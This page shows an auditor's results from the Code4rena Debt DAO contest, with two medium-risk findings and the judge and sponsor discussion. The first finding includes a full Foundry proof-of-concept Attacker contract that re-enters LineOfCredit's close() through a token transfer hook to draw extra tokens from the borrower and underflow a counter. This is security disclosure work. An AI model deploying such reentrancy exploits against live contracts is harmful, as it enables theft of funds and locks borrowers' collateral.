Debt DAO contest - KingNFT's results

A cryptonative credit marketplace for fully anon and trustless loans to DAOs.

General Information

Platform: Code4rena

Start Date: 03/11/2022

Pot Size: $115,500 USDC

Total HM: 17

Participants: 120

Period: 7 days

Judge: LSDan

Total Solo HM: 1

Id: 174

League: ETH

Debt DAO

Findings Distribution

Researcher Performance

Rank: 24/120

Findings: 2

Award: $1,063.60

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: KingNFT

Also found by: Ch_301, __141345__, adriro

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
judge review requested
selected for report
edited-by-warden
M-06

Awards

1060.9293 USDC - $1,060.93

External Links

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L388 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L488

Vulnerability details

Impact

When the credit token is ERC20 extensive with hook, such as ERC777 token, the lender can exploit it to draw out extra tokens from borrower's account. And the 'count' state variable would also be underflowed, cause the line contract can't be 'REPAID', the borrower will never be able to get back the collateral.

P.S. Similar attack on imBTC https://zengo.com/imbtc-defi-hack-explained/

Proof of Concept

The vulnerable point is in '_close()' function,

function _close(Credit memory credit, bytes32 id) internal virtual returns (bool) { // ... if (credit.deposit + credit.interestRepaid > 0) { LineLib.sendOutTokenOrETH( // @audit reentrancy attack from here credit.token, credit.lender, credit.deposit + credit.interestRepaid ); } // ... }

The following testcase shows how to exploit it, put it into a new LenderExploit.t.sol file under 'test' directory, it will pass

pragma solidity 0.8.9; import "forge-std/Test.sol"; import { Denominations } from "chainlink/Denominations.sol"; import { Address } from "openzeppelin/utils/Address.sol"; import { Spigot } from "../modules/spigot/Spigot.sol"; import { Escrow } from "../modules/escrow/Escrow.sol"; import { SecuredLine } from "../modules/credit/SecuredLine.sol"; import { ILineOfCredit } from "../interfaces/ILineOfCredit.sol"; import { ISecuredLine } from "../interfaces/ISecuredLine.sol"; import { LineLib } from "../utils/LineLib.sol"; import { MutualConsent } from "../utils/MutualConsent.sol"; import { MockLine } from "../mock/MockLine.sol"; import { SimpleOracle } from "../mock/SimpleOracle.sol"; import { RevenueToken } from "../mock/RevenueToken.sol"; interface IHook { function tokensReceived( address from, address to, uint256 amount ) external; } contract RevenueTokenWithHook is RevenueToken { using Address for address; mapping(address => bool) public registry; function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._afterTokenTransfer(from, to, amount); if (registry[to]) { IHook(to).tokensReceived(from, to, amount); } } function registerHook(address addr) external { registry[addr] = true; } } contract Attacker is IHook { uint256 constant ATTACK_COUNT = 10; SecuredLine line; address borrower; RevenueTokenWithHook token; uint256 count; bool attackEnable; constructor(address line_, address borrower_, address token_) { line = SecuredLine(payable(line_)); borrower = borrower_; token = RevenueTokenWithHook(token_); token.registerHook(address(this)); } function tokensReceived( address, address, uint256 ) external { if (msg.sender != address(token)) return; if (!attackEnable) return; uint256 count_ = count; if (count_ >= ATTACK_COUNT) return; count = count_ + 1; bytes32 id = line.ids(0); (uint256 deposit,,,,,,) = line.credits(id); token.transfer(address(line), deposit); line.close(id); } function enableAttack() external { attackEnable = true; } } contract ExploitCloseFunctionTest is Test { uint256 constant ONE_YEAR = 365.25 days; uint256 constant ATTACK_COUNT = 10; Escrow escrow; Spigot spigot; RevenueTokenWithHook supportedToken1; RevenueToken supportedToken2; RevenueToken unsupportedToken; SimpleOracle oracle; SecuredLine line; uint mintAmount = 100 ether; uint MAX_INT = 115792089237316195423570985008687907853269984665640564039457584007913129639935; uint32 minCollateralRatio = 10000; // 100% uint128 dRate = 100; uint128 fRate = 1; uint ttl = ONE_YEAR; address borrower; address arbiter; address lender; function setUp() public { borrower = address(20); arbiter = address(this); supportedToken1 = new RevenueTokenWithHook(); supportedToken2 = new RevenueToken(); unsupportedToken = new RevenueToken(); spigot = new Spigot(arbiter, borrower, borrower); oracle = new SimpleOracle(address(supportedToken1), address(supportedToken2)); escrow = new Escrow(minCollateralRatio, address(oracle), arbiter, borrower); line = new SecuredLine( address(oracle), arbiter, borrower, payable(address(0)), address(spigot), address(escrow), ONE_YEAR, 0 ); lender = address(new Attacker(address(line), borrower, address(supportedToken1))); assertEq(supportedToken1.registry(lender), true); escrow.updateLine(address(line)); spigot.updateOwner(address(line)); assertEq(uint(line.init()), uint(LineLib.STATUS.ACTIVE)); _mintAndApprove(); escrow.enableCollateral( address(supportedToken1)); escrow.enableCollateral( address(supportedToken2)); vm.startPrank(borrower); escrow.addCollateral(1 ether, address(supportedToken2)); vm.stopPrank(); } function testExpoit() public { _addCredit(address(supportedToken1), 1 ether); bytes32 id = line.ids(0); vm.warp(line.deadline() - ttl / 2); line.accrueInterest(); (uint256 deposit, , uint256 interestAccrued, , , , ) = line.credits(id); uint256 lenderBalanceBefore = supportedToken1.balanceOf(lender); uint256 lenderBalanceAfterExpected = lenderBalanceBefore + deposit + interestAccrued; Attacker(lender).enableAttack(); hoax(lender); line.close(id); vm.stopPrank(); uint256 lenderBalanceAfter = supportedToken1.balanceOf(lender); assertEq(lenderBalanceAfter, lenderBalanceAfterExpected + interestAccrued * ATTACK_COUNT); (uint256 count,) = line.counts(); assertEq(count, MAX_INT - ATTACK_COUNT + 1); } function _mintAndApprove() internal { deal(lender, mintAmount); supportedToken1.mint(borrower, mintAmount); supportedToken1.mint(lender, mintAmount); supportedToken2.mint(borrower, mintAmount); supportedToken2.mint(lender, mintAmount); unsupportedToken.mint(borrower, mintAmount); unsupportedToken.mint(lender, mintAmount); vm.startPrank(borrower); supportedToken1.approve(address(escrow), MAX_INT); supportedToken1.approve(address(line), MAX_INT); supportedToken2.approve(address(escrow), MAX_INT); supportedToken2.approve(address(line), MAX_INT); unsupportedToken.approve(address(escrow), MAX_INT); unsupportedToken.approve(address(line), MAX_INT); vm.stopPrank(); vm.startPrank(lender); supportedToken1.approve(address(escrow), MAX_INT); supportedToken1.approve(address(line), MAX_INT); supportedToken2.approve(address(escrow), MAX_INT); supportedToken2.approve(address(line), MAX_INT); unsupportedToken.approve(address(escrow), MAX_INT); unsupportedToken.approve(address(line), MAX_INT); vm.stopPrank(); } function _addCredit(address token, uint256 amount) public { hoax(borrower); line.addCredit(dRate, fRate, amount, token, lender); vm.stopPrank(); hoax(lender); line.addCredit(dRate, fRate, amount, token, lender); vm.stopPrank(); } receive() external payable {} }

Related links: https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L388 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L488 https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/EscrowLib.sol#L173

Tools Used

VS Code

Add reentrancy protection on 'close()' function.

#0 - c4-judge

2022-11-17T11:14:32Z

dmvt changed the severity to 2 (Med Risk)

#1 - c4-judge

2022-11-17T11:14:37Z

dmvt marked the issue as primary issue

#2 - dmvt

2022-11-17T11:15:09Z

Has external requirements making the report medium risk, not high

#3 - c4-judge

2022-11-17T21:54:19Z

dmvt marked the issue as selected for report

#4 - c4-sponsor

2022-11-30T15:55:48Z

kibagateaux requested judge review

#5 - kibagateaux

2022-11-30T15:57:38Z

Could be marked as "Acknowledged". At the end of the day Borrowers and Lenders agree to which tokens to use, Debt DAO has no part in decision.

In my opinion its not valid to say "if you add malicious things, malicious things happen". If i didnt want token reentrancy attacks i simply wouldnt add tokens with explicit arbitrary reentrancy abilities.

#6 - dmvt

2022-12-06T21:30:17Z

I think the sponsor misunderstands something fundamental about the way reentrancy attacks happen. The token itself isn't malicious. It's the external calls the token makes as part of its normal interaction that can be made, but are not necessarily, malicious. Issue stands.

#7 - c4-judge

2022-12-06T21:31:21Z

dmvt marked the issue as satisfactory

Awards

2.6694 USDC - $2.67

Labels

bug
2 (Med Risk)
downgraded by judge
partial-50
edited-by-warden
duplicate-369

External Links

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/utils/LineLib.sol#L48

Vulnerability details

Impact

It's unsafe to send ETH by 'transfer' function, as the call only grants 2300 gas cost for the receiver. So, it's likely to fail when the borrower or lender is a contract (e.g. a proxy contract will be almost 100% failed), and lock ETH in the line or escrow contract.

function sendOutTokenOrETH( // ... ) external returns (bool) { // ... payable(receiver).transfer(amount); // ... }

Proof of Concept

Example:

contract Recipient { uint256 i; function _doSomeThing() internal { ++i; // gas cost > 2300 } fallback() external payable { _doSomeThing(); } } contract Test { function transferEth(Recipient recipient) external payable { payable(recipient).transfer(msg.value); // @audit will fail if the gas cost of call exceeds 2300 } }

More reference: https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/

Tools Used

VS Code

Use 'call()' instead of 'transfer()'.

function sendOutTokenOrETH( // ... ) external returns (bool) { // ... payable(receiver).call{value: amount}(""); // ... }

#0 - c4-judge

2022-11-17T11:15:54Z

dmvt marked the issue as duplicate of #14

#1 - c4-judge

2022-11-17T19:21:09Z

dmvt changed the severity to 2 (Med Risk)

#2 - c4-judge

2022-11-17T19:21:14Z

dmvt marked the issue as partial-50

#3 - c4-judge

2022-12-06T14:54:54Z

dmvt marked the issue as full credit

#4 - c4-judge

2022-12-06T14:55:07Z

dmvt marked the issue as partial-50

#5 - C4-Staff

2022-12-20T05:56:43Z

liveactionllama marked the issue as duplicate of #369

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter